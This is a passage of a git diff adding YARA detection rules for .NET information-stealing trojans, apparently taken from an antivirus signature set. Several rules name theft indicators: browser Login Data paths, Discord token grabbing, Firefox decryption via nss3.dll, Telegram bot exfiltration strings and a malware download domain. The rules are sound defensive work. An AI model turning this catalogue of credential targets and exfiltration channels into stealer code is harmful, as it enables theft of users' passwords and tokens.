>=6 + +} \ No newline at end of file diff --git a/Trojan/BAT/Stealer/Trojan_BAT_Stealer_BAA_MTB.yar b/Trojan/BAT/Stealer/Trojan_BAT_Stealer_BAA_MTB.yar new file mode 100644 index 0000000000..a2ec99691f --- /dev/null +++ b/Trojan/BAT/Stealer/Trojan_BAT_Stealer_BAA_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_Stealer_BAA_MTB{ + meta: + description = "Trojan:BAT/Stealer.BAA!MTB,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 00 " + + strings : + $a_01_0 = {02 06 02 06 91 03 61 d2 9c 06 17 58 0a 06 02 8e 69 32 ed 02 73 } //2 + condition: + ((#a_01_0 & 1)*2) >=2 + +} \ No newline at end of file diff --git a/Trojan/BAT/Stealer/Trojan_BAT_Stealer_BAB_MTB.yar b/Trojan/BAT/Stealer/Trojan_BAT_Stealer_BAB_MTB.yar new file mode 100644 index 0000000000..14c6412573 --- /dev/null +++ b/Trojan/BAT/Stealer/Trojan_BAT_Stealer_BAB_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_Stealer_BAB_MTB{ + meta: + description = "Trojan:BAT/Stealer.BAB!MTB,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 00 " + + strings : + $a_01_0 = {00 08 07 09 6f 2b 00 00 0a 03 09 03 6f 29 00 00 0a 5d 6f 2b 00 00 0a 61 d1 6f 2e 00 00 0a 26 00 09 17 58 0d 09 07 6f 29 00 00 0a fe 04 13 04 11 04 2d cd } //2 + condition: + ((#a_01_0 & 1)*2) >=2 + +} \ No newline at end of file diff --git a/Trojan/BAT/Stealer/Trojan_BAT_Stealer_EACC_MTB.yar b/Trojan/BAT/Stealer/Trojan_BAT_Stealer_EACC_MTB.yar new file mode 100644 index 0000000000..c6cf838ba5 --- /dev/null +++ b/Trojan/BAT/Stealer/Trojan_BAT_Stealer_EACC_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_Stealer_EACC_MTB{ + meta: + description = "Trojan:BAT/Stealer.EACC!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 00 " + + strings : + $a_01_0 = {09 11 04 9a 13 05 11 05 73 89 01 00 0a 6f 94 01 00 0a 13 06 11 06 6f 47 00 00 0a 1f 10 33 13 06 11 06 28 da 00 00 0a 13 07 11 05 11 07 28 5e 04 00 06 11 04 17 58 13 04 11 04 09 8e 69 32 c1 } //5 + condition: + ((#a_01_0 & 1)*5) >=5 + +} \ No newline at end of file diff --git a/Trojan/BAT/Stealer/Trojan_BAT_Stealer_EA_MTB.yar b/Trojan/BAT/Stealer/Trojan_BAT_Stealer_EA_MTB.yar new file mode 100644 index 0000000000..790ae63ed4 --- /dev/null +++ b/Trojan/BAT/Stealer/Trojan_BAT_Stealer_EA_MTB.yar @@ -0,0 +1,16 @@ + +rule Trojan_BAT_Stealer_EA_MTB{ + meta: + description = "Trojan:BAT/Stealer.EA!MTB,SIGNATURE_TYPE_PEHSTR,0c 00 0c 00 06 00 00 " + + strings : + $a_01_0 = {47 65 74 57 69 6e 64 6f 77 73 50 72 6f 64 75 63 74 4b 65 79 46 72 6f 6d 52 65 67 69 73 74 72 79 } //2 GetWindowsProductKeyFromRegistry + $a_01_1 = {44 65 63 6f 64 65 50 72 6f 64 75 63 74 4b 65 79 57 69 6e 38 41 6e 64 55 70 } //2 DecodeProductKeyWin8AndUp + $a_01_2 = {47 65 74 41 6c 6c 4e 65 74 77 6f 72 6b 49 6e 74 65 72 66 61 63 65 73 } //2 GetAllNetworkInterfaces + $a_01_3 = {47 65 74 54 6f 6b 65 6e 73 46 72 6f 6d 44 69 73 63 6f 72 64 41 70 70 } //2 GetTokensFromDiscordApp + $a_01_4 = {25 00 55 00 53 00 45 00 52 00 50 00 52 00 4f 00 46 00 49 00 4c 00 45 00 25 00 5c 00 41 00 70 00 70 00 44 00 61 00 74 00 61 00 5c 00 4c 00 6f 00 63 00 61 00 6c 00 5c 00 47 00 6f 00 6f 00 67 00 6c 00 65 00 5c 00 43 00 68 00 72 00 6f 00 6d 00 65 00 5c 00 55 00 73 00 65 00 72 00 20 00 44 00 61 00 74 00 61 00 } //2 %USERPROFILE%\AppData\Local\Google\Chrome\User Data + $a_01_5 = {24 46 32 43 35 36 35 42 36 2d 45 34 46 35 2d 34 30 42 31 2d 38 43 34 30 2d 46 42 37 30 43 46 35 41 32 45 36 41 } //2 $F2C565B6-E4F5-40B1-8C40-FB70CF5A2E6A + condition: + ((#a_01_0 & 1)*2+(#a_01_1 & 1)*2+(#a_01_2 & 1)*2+(#a_01_3 & 1)*2+(#a_01_4 & 1)*2+(#a_01_5 & 1)*2) >=12 + +} \ No newline at end of file diff --git a/Trojan/BAT/Stealer/Trojan_BAT_Stealer_GFF_MTB.yar b/Trojan/BAT/Stealer/Trojan_BAT_Stealer_GFF_MTB.yar new file mode 100644 index 0000000000..57825a3b77 --- /dev/null +++ b/Trojan/BAT/Stealer/Trojan_BAT_Stealer_GFF_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_Stealer_GFF_MTB{ + meta: + description = "Trojan:BAT/Stealer.GFF!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 00 " + + strings : + $a_03_0 = {8e 69 1a 2f 0b 16 38 95 00 00 00 dd b5 00 00 00 72 fe 01 00 70 38 8c 00 00 00 38 91 00 00 00 1a 2c 5a 72 30 02 00 70 38 8a 00 00 00 0d 73 27 00 00 0a 13 04 11 04 08 6f ?? 00 00 0a 11 04 09 6f ?? 00 00 0a 11 04 6f ?? 00 00 0a 13 05 72 4a 02 00 70 13 06 11 05 06 16 06 8e 69 6f ?? 00 00 0a 13 07 11 06 11 07 03 28 ?? 00 00 06 de 0c 11 04 2c 07 11 04 6f ?? 00 00 0a dc } //5 + condition: + ((#a_03_0 & 1)*5) >=5 + +} \ No newline at end of file diff --git a/Trojan/BAT/Stealer/Trojan_BAT_Stealer_MGH_MTB.yar b/Trojan/BAT/Stealer/Trojan_BAT_Stealer_MGH_MTB.yar new file mode 100644 index 0000000000..8d5ddd775f --- /dev/null +++ b/Trojan/BAT/Stealer/Trojan_BAT_Stealer_MGH_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_Stealer_MGH_MTB{ + meta: + description = "Trojan:BAT/Stealer.MGH!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 00 " + + strings : + $a_03_0 = {11 13 20 30 01 00 00 91 2b ef 03 19 8d 05 00 00 01 25 16 12 07 20 a4 00 00 00 20 8e 00 00 00 28 ?? 00 00 06 9c 25 17 12 07 20 76 02 00 00 20 5d 02 00 00 28 ?? 00 00 06 9c 25 18 12 07 20 de 03 00 00 20 f2 03 00 00 28 ?? 00 00 06 9c 6f 62 00 00 0a 18 13 12 38 8f fe ff ff 20 ee 00 00 00 20 da 00 00 00 28 ?? 00 00 06 13 0c 12 0c } //5 + condition: + ((#a_03_0 & 1)*5) >=5 + +} \ No newline at end of file diff --git a/Trojan/BAT/Stealer/Trojan_BAT_Stealer_NITA_MTB.yar b/Trojan/BAT/Stealer/Trojan_BAT_Stealer_NITA_MTB.yar index 2b61a40428..ae104d44dd 100644 --- a/Trojan/BAT/Stealer/Trojan_BAT_Stealer_NITA_MTB.yar +++ b/Trojan/BAT/Stealer/Trojan_BAT_Stealer_NITA_MTB.yar @@ -26,4 +26,15 @@ rule Trojan_BAT_Stealer_NITA_MTB_2{ condition: ((#a_01_0 & 1)*2+(#a_01_1 & 1)*2+(#a_00_2 & 1)*2+(#a_00_3 & 1)*2+(#a_00_4 & 1)*1+(#a_00_5 & 1)*1+(#a_01_6 & 1)*1) >=10 +} +rule Trojan_BAT_Stealer_NITA_MTB_3{ + meta: + description = "Trojan:BAT/Stealer.NITA!MTB,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 02 00 00 " + + strings : + $a_03_0 = {2b 5a 12 01 28 ?? 00 00 0a 0c 12 02 28 ?? 00 00 0a 0d 7e 01 00 00 04 12 02 28 ?? 00 00 0a 28 ?? 00 00 0a 13 04 09 28 ?? 00 00 0a 2c 2f 12 02 28 ?? 00 00 0a 72 01 00 00 70 28 ?? 00 00 0a 2c 0f 09 11 04 7e 07 00 00 04 28 ?? 00 00 06 2b 0d 09 11 04 7e 06 00 00 04 28 ?? 00 00 06 12 01 28 ?? 00 00 0a 2d 9d } //2 + $a_03_1 = {72 17 00 00 70 6f ?? 00 00 0a 17 58 6f ?? 00 00 0a 13 06 02 11 05 28 ?? 00 00 0a 13 07 11 07 8e 2c 1e 11 07 16 9a 11 06 28 ?? 00 00 0a 0c 03 11 07 16 9a 28 ?? 00 00 0a 11 06 28 ?? 00 00 0a 0d 09 28 ?? 00 00 0a 13 04 11 04 28 ?? 00 00 0a 2d 08 } //1 + condition: + ((#a_03_0 & 1)*2+(#a_03_1 & 1)*1) >=3 + } \ No newline at end of file diff --git a/Trojan/BAT/Stealer/Trojan_BAT_Stealer_SLGA_MTB.yar b/Trojan/BAT/Stealer/Trojan_BAT_Stealer_SLGA_MTB.yar new file mode 100644 index 0000000000..ec7b789752 --- /dev/null +++ b/Trojan/BAT/Stealer/Trojan_BAT_Stealer_SLGA_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_Stealer_SLGA_MTB{ + meta: + description = "Trojan:BAT/Stealer.SLGA!MTB,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 00 " + + strings : + $a_01_0 = {25 28 0d 00 00 06 6f 02 00 00 0a 25 16 6f 03 00 00 0a 74 04 00 00 01 13 00 25 11 00 72 01 00 00 70 6f 04 00 00 0a 72 31 00 00 70 6f 05 00 00 0a 6f 02 00 00 0a 25 17 } //2 + condition: + ((#a_01_0 & 1)*2) >=2 + +} \ No newline at end of file diff --git a/Trojan/BAT/Stealer/Trojan_BAT_Stealer_STT_MTB.yar b/Trojan/BAT/Stealer/Trojan_BAT_Stealer_STT_MTB.yar new file mode 100644 index 0000000000..0cd1f53adc --- /dev/null +++ b/Trojan/BAT/Stealer/Trojan_BAT_Stealer_STT_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_Stealer_STT_MTB{ + meta: + description = "Trojan:BAT/Stealer.STT!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 00 " + + strings : + $a_03_0 = {0b 14 0c 14 0d 14 13 04 14 13 05 00 28 ?? 00 00 0a 0d 09 14 fe 03 13 06 11 06 2c 27 09 07 6f ?? 00 00 0a 00 09 07 6f ?? 00 00 0a 00 09 6f ?? 01 00 0a 13 07 11 07 02 16 02 8e 69 6f ?? 00 00 0a 0a de 51 00 de 49 } //5 + condition: + ((#a_03_0 & 1)*5) >=5 + +} \ No newline at end of file diff --git a/Trojan/BAT/Stealer/Trojan_BAT_Stealer_SUG_MTB.yar b/Trojan/BAT/Stealer/Trojan_BAT_Stealer_SUG_MTB.yar new file mode 100644 index 0000000000..f7570fad43 --- /dev/null +++ b/Trojan/BAT/Stealer/Trojan_BAT_Stealer_SUG_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_Stealer_SUG_MTB{ + meta: + description = "Trojan:BAT/Stealer.SUG!MTB,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 00 " + + strings : + $a_03_0 = {08 8d 1d 00 00 01 13 04 7e ?? ?? ?? 04 02 1a 58 11 04 16 08 28 d0 00 00 0a 28 23 00 00 0a 11 04 16 11 04 8e 69 } //2 + condition: + ((#a_03_0 & 1)*2) >=2 + +} \ No newline at end of file diff --git a/Trojan/BAT/Stealer/Trojan_BAT_Stealer_VGT_MTB.yar b/Trojan/BAT/Stealer/Trojan_BAT_Stealer_VGT_MTB.yar new file mode 100644 index 0000000000..7d072fa888 --- /dev/null +++ b/Trojan/BAT/Stealer/Trojan_BAT_Stealer_VGT_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_Stealer_VGT_MTB{ + meta: + description = "Trojan:BAT/Stealer.VGT!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 00 " + + strings : + $a_03_0 = {0a 72 47 00 00 70 28 0c 00 00 0a 0b 73 0d 00 00 0a 0c 73 0e 00 00 0a 0d 09 08 06 07 6f ?? 00 00 0a 17 73 10 00 00 0a 13 04 11 04 03 16 03 8e 69 6f ?? 00 00 0a 09 6f ?? 00 00 0a 13 05 dd 29 00 00 00 11 04 39 07 00 00 00 11 04 6f ?? 00 00 0a dc 09 39 06 00 00 00 09 } //5 + condition: + ((#a_03_0 & 1)*5) >=5 + +} \ No newline at end of file diff --git a/Trojan/BAT/Stealer/Trojan_BAT_Stealer_WRT_MTB.yar b/Trojan/BAT/Stealer/Trojan_BAT_Stealer_WRT_MTB.yar new file mode 100644 index 0000000000..90c6397774 --- /dev/null +++ b/Trojan/BAT/Stealer/Trojan_BAT_Stealer_WRT_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_Stealer_WRT_MTB{ + meta: + description = "Trojan:BAT/Stealer.WRT!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 00 " + + strings : + $a_03_0 = {02 7b 72 01 00 04 7b 6f 01 00 04 02 7b 71 01 00 04 03 6f ?? 01 00 0a 0a 02 7b 72 01 00 04 7b 6c 01 00 04 02 7b 72 01 00 04 7b 6b 01 00 04 6f ?? 01 00 0a 59 0b 07 19 fe 04 16 fe 01 0c 08 2c 39 00 02 7b 72 01 00 04 7b 6b 01 00 04 19 8d a1 00 00 01 25 16 12 00 28 1c 01 00 0a 9c 25 17 12 00 28 1d 01 00 0a 9c 25 18 12 00 28 ?? 01 00 0a 9c } //5 + condition: + ((#a_03_0 & 1)*5) >=5 + +} \ No newline at end of file diff --git a/Trojan/BAT/Stealer/Trojan_BAT_Stealer_ZGR_MTB.yar b/Trojan/BAT/Stealer/Trojan_BAT_Stealer_ZGR_MTB.yar new file mode 100644 index 0000000000..128120eb2d --- /dev/null +++ b/Trojan/BAT/Stealer/Trojan_BAT_Stealer_ZGR_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_Stealer_ZGR_MTB{ + meta: + description = "Trojan:BAT/Stealer.ZGR!MTB,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 01 00 00 " + + strings : + $a_03_0 = {02 03 04 6f ?? 00 00 0a 0a 12 01 fe ?? 13 00 00 02 12 01 12 00 28 ?? 00 00 0a 7d ?? 00 00 04 12 01 12 00 28 ?? 00 00 0a 7d ?? 00 00 04 12 01 12 00 28 ?? 00 00 0a 7d ?? 00 00 04 0e 05 39 ?? 00 00 00 23 89 41 60 e5 d0 22 d3 3f 07 7b ?? 00 00 04 6c 5a } //10 + condition: + ((#a_03_0 & 1)*10) >=10 + +} \ No newline at end of file diff --git a/Trojan/BAT/StealerBot/Trojan_BAT_StealerBot_B.yar b/Trojan/BAT/StealerBot/Trojan_BAT_StealerBot_B.yar new file mode 100644 index 0000000000..6a4bcdb5a9 --- /dev/null +++ b/Trojan/BAT/StealerBot/Trojan_BAT_StealerBot_B.yar @@ -0,0 +1,19 @@ + +rule Trojan_BAT_StealerBot_B{ + meta: + description = "Trojan:BAT/StealerBot.B,SIGNATURE_TYPE_PEHSTR_EXT,09 00 09 00 09 00 00 " + + strings : + $a_01_0 = {57 00 46 00 68 00 59 00 57 00 46 00 68 00 59 00 57 00 46 00 68 00 59 00 57 00 46 00 68 00 59 00 57 00 46 00 68 00 59 00 57 00 46 00 68 00 59 00 57 00 46 00 68 00 59 00 57 00 46 00 68 00 59 00 57 00 46 00 68 00 59 00 57 00 46 00 68 00 59 00 57 00 46 00 68 00 59 00 57 00 46 00 68 00 59 00 57 00 46 00 68 00 59 00 57 00 46 00 68 00 59 00 57 00 46 00 68 00 59 00 57 00 46 00 68 00 59 00 57 00 46 00 68 00 59 00 57 00 46 00 68 00 59 00 } //2 WFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhY + $a_01_1 = {51 00 6e 00 4a 00 44 00 62 00 33 00 64 00 66 00 } //2 QnJDb3df + $a_01_2 = {63 00 6d 00 39 00 76 00 64 00 46 00 78 00 54 00 5a 00 57 00 4e 00 31 00 } //1 cm9vdFxTZWN1 + $a_01_3 = {53 00 58 00 4e 00 42 00 5a 00 47 00 31 00 70 00 62 00 6c 00 42 00 79 00 } //1 SXNBZG1pblBy + $a_01_4 = {55 00 30 00 56 00 4d 00 52 00 55 00 4e 00 55 00 49 00 43 00 6f 00 67 00 } //1 U0VMRUNUICog + $a_01_5 = {56 00 32 00 6c 00 75 00 4d 00 7a 00 4a 00 66 00 63 00 48 00 4a 00 76 00 } //1 V2luMzJfcHJv + $a_01_6 = {53 00 45 00 74 00 46 00 57 00 56 00 39 00 4d 00 54 00 30 00 4e 00 42 00 } //1 SEtFWV9MT0NB + $a_01_7 = {65 00 30 00 5a 00 45 00 52 00 44 00 4d 00 35 00 51 00 55 00 51 00 77 00 4c 00 54 00 49 00 7a 00 } //1 e0ZERDM5QUQwLTIz + $a_03_8 = {06 08 1f 20 58 8f ?? ?? ?? ?? 25 47 06 08 1f 20 5d 91 61 } //1 + condition: + ((#a_01_0 & 1)*2+(#a_01_1 & 1)*2+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1+(#a_01_4 & 1)*1+(#a_01_5 & 1)*1+(#a_01_6 & 1)*1+(#a_01_7 & 1)*1+(#a_03_8 & 1)*1) >=9 + +} \ No newline at end of file diff --git a/Trojan/BAT/Stealerc/Trojan_BAT_Stealerc_AIAB_MTB.yar b/Trojan/BAT/Stealerc/Trojan_BAT_Stealerc_AIAB_MTB.yar new file mode 100644 index 0000000000..4e7aab0bc9 --- /dev/null +++ b/Trojan/BAT/Stealerc/Trojan_BAT_Stealerc_AIAB_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_Stealerc_AIAB_MTB{ + meta: + description = "Trojan:BAT/Stealerc.AIAB!MTB,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 00 " + + strings : + $a_01_0 = {61 11 1e 19 58 61 11 2e 61 d2 9c 11 2a 13 1e 11 09 17 58 13 09 11 09 11 24 32 a4 } //1 + condition: + ((#a_01_0 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Trojan/BAT/Stealerc/Trojan_BAT_Stealerc_AIAC_MTB.yar b/Trojan/BAT/Stealerc/Trojan_BAT_Stealerc_AIAC_MTB.yar new file mode 100644 index 0000000000..48b2458a80 --- /dev/null +++ b/Trojan/BAT/Stealerc/Trojan_BAT_Stealerc_AIAC_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_Stealerc_AIAC_MTB{ + meta: + description = "Trojan:BAT/Stealerc.AIAC!MTB,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 00 " + + strings : + $a_01_0 = {61 19 11 1e 58 61 11 2e 61 d2 9c 11 2a 13 1e 17 11 09 58 13 09 11 09 11 24 32 a4 } //1 + condition: + ((#a_01_0 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Trojan/BAT/Stealerc/Trojan_BAT_Stealerc_GPAL_MTB.yar b/Trojan/BAT/Stealerc/Trojan_BAT_Stealerc_GPAL_MTB.yar new file mode 100644 index 0000000000..3e3a7f7832 --- /dev/null +++ b/Trojan/BAT/Stealerc/Trojan_BAT_Stealerc_GPAL_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_BAT_Stealerc_GPAL_MTB{ + meta: + description = "Trojan:BAT/Stealerc.GPAL!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 02 00 00 " + + strings : + $a_81_0 = {77 77 77 2e 6e 65 77 2e 65 76 65 6e 74 61 77 61 72 64 73 72 75 73 73 69 61 2e 63 6f 6d } //4 www.new.eventawardsrussia.com + $a_81_1 = {44 6f 77 6e 6c 6f 61 64 44 61 74 61 } //1 DownloadData + condition: + ((#a_81_0 & 1)*4+(#a_81_1 & 1)*1) >=5 + +} \ No newline at end of file diff --git a/Trojan/BAT/Stealerc/Trojan_BAT_Stealerc_GPXA_MTB.yar b/Trojan/BAT/Stealerc/Trojan_BAT_Stealerc_GPXA_MTB.yar new file mode 100644 index 0000000000..05709727de --- /dev/null +++ b/Trojan/BAT/Stealerc/Trojan_BAT_Stealerc_GPXA_MTB.yar @@ -0,0 +1,18 @@ + +rule Trojan_BAT_Stealerc_GPXA_MTB{ + meta: + description = "Trojan:BAT/Stealerc.GPXA!MTB,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 08 00 00 " + + strings : + $a_81_0 = {73 65 6e 64 44 6f 63 75 6d 65 6e 74 3f 63 68 61 74 5f 69 64 3d } //2 sendDocument?chat_id= + $a_81_1 = {1b 49 00 4d 00 41 00 50 00 20 00 50 00 61 00 73 00 73 00 77 00 6f 00 72 00 64 00 00 1b 50 00 4f 00 50 00 33 00 20 00 50 00 61 00 73 00 73 00 77 00 6f 00 72 00 64 } //2 + $a_01_2 = {65 00 6e 00 63 00 72 00 79 00 70 00 74 00 65 00 64 00 5f 00 6b 00 65 00 79 00 22 00 3a 00 22 00 28 00 2e 00 2a 00 3f 00 29 } //1 + $a_81_3 = {4d 69 63 72 6f 73 6f 66 74 5c 45 64 67 65 5c 55 73 65 72 20 44 61 74 61 5c 44 65 66 61 75 6c 74 5c 4c 6f 67 69 6e 20 44 61 74 61 } //1 Microsoft\Edge\User Data\Default\Login Data + $a_81_4 = {6c 6f 67 69 6e 73 2e 6a 73 6f 6e } //1 logins.json + $a_81_5 = {54 68 75 6e 64 65 72 62 69 72 64 5c 50 72 6f 66 69 6c 65 73 } //1 Thunderbird\Profiles + $a_81_6 = {6e 73 73 33 2e 64 6c 6c } //1 nss3.dll + $a_81_7 = {50 4b 31 31 53 44 52 5f 44 65 63 72 79 70 74 } //1 PK11SDR_Decrypt + condition: + ((#a_81_0 & 1)*2+(#a_81_1 & 1)*2+(#a_01_2 & 1)*1+(#a_81_3 & 1)*1+(#a_81_4 & 1)*1+(#a_81_5 & 1)*1+(#a_81_6 & 1)*1+(#a_81_7 & 1)*1) >=10 + +} \ No newline at end of file diff --git a/Trojan/BAT/Stealerium/Trojan_BAT_Stealerium_SPP_MTB.yar b/Trojan/BAT/Stealerium/Trojan_BAT_Stealerium_SPP_MTB.yar new file mode 100644 index 0000000000..6035ce82a9 --- /dev/null +++ b/Trojan/BAT/Stealerium/Trojan_BAT_Stealerium_SPP_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_Stealerium_SPP_MTB{ + meta: + description = "Trojan:BAT/Stealerium.SPP!MTB,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 00 " + + strings : + $a_03_0 = {11 02 11 03 11 00 11 03 91 11 04 11 03 11 04 6f ?? 00 00 0a 5d 6f ?? 00 00 0a 61 d2 9c } //1 + condition: + ((#a_03_0 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Trojan/BAT/Stealga/Trojan_BAT_Stealga_DC_MTB.yar b/Trojan/BAT/Stealga/Trojan_BAT_Stealga_DC_MTB.yar new file mode 100644 index 0000000000..f29526ef62 --- /dev/null +++ b/Trojan/BAT/Stealga/Trojan_BAT_Stealga_DC_MTB.yar @@ -0,0 +1,17 @@ + +rule Trojan_BAT_Stealga_DC_MTB{ + meta: + description = "Trojan:BAT/Stealga.DC!MTB,SIGNATURE_TYPE_PEHSTR_EXT,ffffffa0 00 ffffffa0 00 07 00 00 " + + strings : + $a_81_0 = {61 70 69 2e 74 65 6c 65 67 72 61 6d 2e 6f 72 67 2f 62 6f 74 } //100 api.telegram.org/bot + $a_81_1 = {44 65 63 72 79 70 74 } //10 Decrypt + $a_81_2 = {55 73 65 72 20 44 61 74 61 5c 44 65 66 61 75 6c 74 5c 4c 6f 63 61 6c 20 45 78 74 65 6e 73 69 6f 6e 20 53 65 74 74 69 6e 67 73 } //10 User Data\Default\Local Extension Settings + $a_81_3 = {63 68 61 74 5f 69 64 } //10 chat_id + $a_81_4 = {63 68 72 6f 6d 65 2e 65 78 65 } //10 chrome.exe + $a_81_5 = {6d 73 65 64 67 65 2e 65 78 65 } //10 msedge.exe + $a_81_6 = {62 72 61 76 65 2e 65 78 65 } //10 brave.exe + condition: + ((#a_81_0 & 1)*100+(#a_81_1 & 1)*10+(#a_81_2 & 1)*10+(#a_81_3 & 1)*10+(#a_81_4 & 1)*10+(#a_81_5 & 1)*10+(#a_81_6 & 1)*10) >=160 + +} \ No newline at end of file diff --git a/Trojan/BAT/StormKitty/Trojan_BAT_StormKitty_EAPQ_MTB.yar b/Trojan/BAT/StormKitty/Trojan_BAT_StormKitty_EAPQ_MTB.yar new file mode 100644 index 0000000000..6bf167f4be --- /dev/null +++ b/Trojan/BAT/StormKitty/Trojan_BAT_StormKitty_EAPQ_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_StormKitty_EAPQ_MTB{ + meta: + description = "Trojan:BAT/StormKitty.EAPQ!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 00 " + + strings : + $a_01_0 = {09 11 04 06 11 04 8f 12 00 00 01 72 37 49 00 70 28 61 01 00 0a a2 11 04 17 58 13 04 11 04 6a 07 6e 32 dd } //5 + condition: + ((#a_01_0 & 1)*5) >=5 + +} \ No newline at end of file diff --git a/Trojan/BAT/StormKitty/Trojan_BAT_StormKitty_MKV_MTB.yar b/Trojan/BAT/StormKitty/Trojan_BAT_StormKitty_MKV_MTB.yar new file mode 100644 index 0000000000..8716e76d33 --- /dev/null +++ b/Trojan/BAT/StormKitty/Trojan_BAT_StormKitty_MKV_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_StormKitty_MKV_MTB{ + meta: + description = "Trojan:BAT/StormKitty.MKV!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 00 " + + strings : + $a_03_0 = {32 e6 02 06 28 ?? 01 00 0a 0b 07 7e b0 02 00 04 32 02 14 2a 06 1a 58 0a 07 8d ac 00 00 01 0c 02 06 08 16 07 28 ?? 01 00 0a 06 07 58 0a 02 06 28 ?? 01 00 0a 0d 09 7e b0 02 00 04 32 02 14 2a } //5 + condition: + ((#a_03_0 & 1)*5) >=5 + +} \ No newline at end of file diff --git a/Trojan/BAT/Strictor/Trojan_BAT_Strictor_NS_MTB.yar b/Trojan/BAT/Strictor/Trojan_BAT_Strictor_NS_MTB.yar new file mode 100644 index 0000000000..63ef610eca --- /dev/null +++ b/Trojan/BAT/Strictor/Trojan_BAT_Strictor_NS_MTB.yar @@ -0,0 +1,13 @@ + +rule Trojan_BAT_Strictor_NS_MTB{ + meta: + description = "Trojan:BAT/Strictor.NS!MTB,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 03 00 00 " + + strings : + $a_03_0 = {00 0a 2a 02 28 ?? 00 00 0a 7e ?? 00 00 04 7e ?? 00 00 04 7e ?? 00 00 04 6f ?? 01 00 0a 28 ?? 00 00 06 13 00 } //2 + $a_03_1 = {6b 00 00 04 7e ?? 00 00 04 7e ?? 00 00 04 6f ?? 01 00 0a 28 ?? 00 00 06 2a } //1 + $a_01_2 = {44 6f 63 5f 32 33 37 2e 50 72 6f 70 65 72 74 69 65 73 } //1 Doc_237.Properties + condition: + ((#a_03_0 & 1)*2+(#a_03_1 & 1)*1+(#a_01_2 & 1)*1) >=4 + +} \ No newline at end of file diff --git a/Trojan/BAT/Strictor/Trojan_BAT_Strictor_PA_MTB.yar b/Trojan/BAT/Strictor/Trojan_BAT_Strictor_PA_MTB.yar new file mode 100644 index 0000000000..435fea1ab3 --- /dev/null +++ b/Trojan/BAT/Strictor/Trojan_BAT_Strictor_PA_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_Strictor_PA_MTB{ + meta: + description = "Trojan:BAT/Strictor.PA!MTB,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 00 " + + strings : + $a_01_0 = {11 05 17 58 28 6a 00 00 06 28 43 00 00 0a 5d 13 05 11 06 09 11 05 94 58 28 6b 00 00 06 28 43 00 00 0a 5d 13 06 09 11 05 94 13 0d 09 11 05 09 11 06 94 9e 09 11 06 11 0d 9e 09 09 11 05 94 09 11 06 94 58 20 00 01 00 00 5d 94 13 0e 11 07 11 0c 02 11 0c 91 11 0e 61 28 44 00 00 0a 9c 11 0c 17 58 13 0c 11 0c 02 8e 69 32 96 } //2 + condition: + ((#a_01_0 & 1)*2) >=2 + +} \ No newline at end of file diff --git a/Trojan/BAT/Taskun/Trojan_BAT_Taskun_AARA_MTB.yar b/Trojan/BAT/Taskun/Trojan_BAT_Taskun_AARA_MTB.yar new file mode 100644 index 0000000000..4f9448565a --- /dev/null +++ b/Trojan/BAT/Taskun/Trojan_BAT_Taskun_AARA_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_BAT_Taskun_AARA_MTB{ + meta: + description = "Trojan:BAT/Taskun.AARA!MTB,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 02 00 00 " + + strings : + $a_03_0 = {13 0d 11 0d 06 7d ?? ?? 00 04 00 11 0d 02 11 0a 11 0c 6f ?? 00 00 0a 7d ?? ?? 00 04 11 0d 04 11 0d 7b ?? ?? 00 04 7b ?? ?? 00 04 6f ?? 00 00 0a 59 7d ?? ?? 00 04 7e ?? ?? 00 04 25 2d 17 26 7e ?? ?? 00 04 fe ?? ?? 00 00 06 73 ?? 00 00 0a 25 80 ?? ?? 00 04 13 0e 11 0d } //5 + $a_03_1 = {01 25 16 02 7c ?? ?? 00 04 28 ?? ?? 00 